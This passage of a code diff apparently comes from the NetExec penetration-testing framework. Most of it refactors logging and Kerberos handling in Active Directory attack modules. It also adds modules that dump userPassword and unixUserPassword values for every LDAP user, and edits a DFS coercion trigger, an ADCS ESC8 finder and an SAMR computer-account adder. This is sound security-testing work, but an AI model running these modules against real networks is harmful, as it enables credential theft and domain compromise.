msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
@@ -123,26 +163,12 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
try:
for handler in self.logger.handlers:
handler.handle(
LogRecord(
"nxc",
20,
"",
kwargs,
msg=text,
args=args,
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
@@ -176,7 +202,7 @@ class NXCAdapter(logging.LoggerAdapter):
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
+1 -1
View File
@@ -27,7 +27,6 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -39,6 +38,7 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
@@ -1,8 +1,8 @@
import ssl
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
@@ -41,6 +41,7 @@ class NXCModule:
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
@@ -61,11 +62,10 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -87,8 +87,7 @@ class NXCModule:
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
else:
sys.exit(1)
def do_samr_add(self, context):
"""
@@ -102,15 +101,10 @@ class NXCModule:
-------
None
"""
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -119,10 +113,13 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -178,7 +175,6 @@ class NXCModule:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
sys.exit(1)
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
-87
View File
@@ -1,87 +0,0 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
+26 -25
View File
@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
@@ -221,8 +221,6 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -273,6 +271,7 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
@@ -516,6 +515,8 @@ class NXCModule:
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
try:
@@ -528,7 +529,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -536,7 +537,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -544,13 +545,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -558,7 +559,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
+10 -9
View File
@@ -2,7 +2,7 @@ from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
@@ -33,9 +33,9 @@ class NXCModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
@@ -95,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
@@ -108,11 +109,12 @@ class TriggerAuth:
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.set_kerberos(doKerberos, kdcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
@@ -134,8 +136,7 @@ class TriggerAuth:
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
+26 -18
View File
@@ -5,6 +5,7 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -35,7 +36,7 @@ class NXCModule:
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, connection.hostname, context)
self.dump_results(results, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -50,7 +51,8 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
kdcHost=connection.domain,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -58,18 +60,16 @@ class NXCModule:
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
try:
for product in conf["products"]:
for service in product["services"]:
for product in conf["products"]:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
results.setdefault(product["name"], {"services": []})["services"].append(service)
except Exception:
pass
except Exception:
pass
except Exception as e:
context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
@@ -80,13 +80,16 @@ class NXCModule:
for product in conf["products"]:
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.debug(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
def dump_results(self, results, remoteName, context):
def dump_results(self, results, context):
if not results:
context.log.highlight("Found NOTHING!")
return
@@ -119,6 +122,7 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -133,7 +137,8 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,6 +151,7 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -157,14 +163,13 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
@@ -261,7 +266,10 @@ conf = {
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
{"name": "ERAAgent", "description": "ESET Management Agent service"},
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
+109
View File
@@ -0,0 +1,109 @@
from impacket.dcerpc.v5 import transport, epm
from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
class NXCModule:
"""
-------
Module by @0xjbb, original code from Impacket rpcdump.py
"""
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
593: {"bindstr": r"ncacn_http:%s"}
}
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = ""
self.__nthash = ""
self.__port = 135.
self.__stringbinding = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
if self.__port in [139, 445]:
# Setting credentials for SMB
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
context.log.highlight(url)
try:
response = requests.get(url, timeout=5)
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
context.log.highlight("Web enrollment found on HTTP (ESC8).")
except requests.RequestException as e:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
@@ -17,12 +17,11 @@ class NXCModule:
pass
def on_login(self, context, connection):
domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
+3 -3
View File
@@ -12,9 +12,9 @@ class NXCModule:
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""Required.
+7 -2
View File
@@ -31,7 +31,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -102,6 +102,11 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
if conditionFilter and not self.PASSWORDPOLICY:
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
File renamed without changes.
+63
View File
@@ -0,0 +1,63 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
class NXCModule:
"""
Get unixUserPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
unixUserPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "unixUserPassword":
unixUserPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(unixUserPassword) > 0:
answers.append([sAMAccountName, unixUserPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
else:
context.log.fail("No unixUserPassword Found")
+63
View File
@@ -0,0 +1,63 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
class NXCModule:
"""
Get userPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userPassword":
userPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(userPassword) > 0:
answers.append([sAMAccountName, userPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
else:
context.log.fail("No userPassword Found")
File renamed without changes.
+5 -9
View File
@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
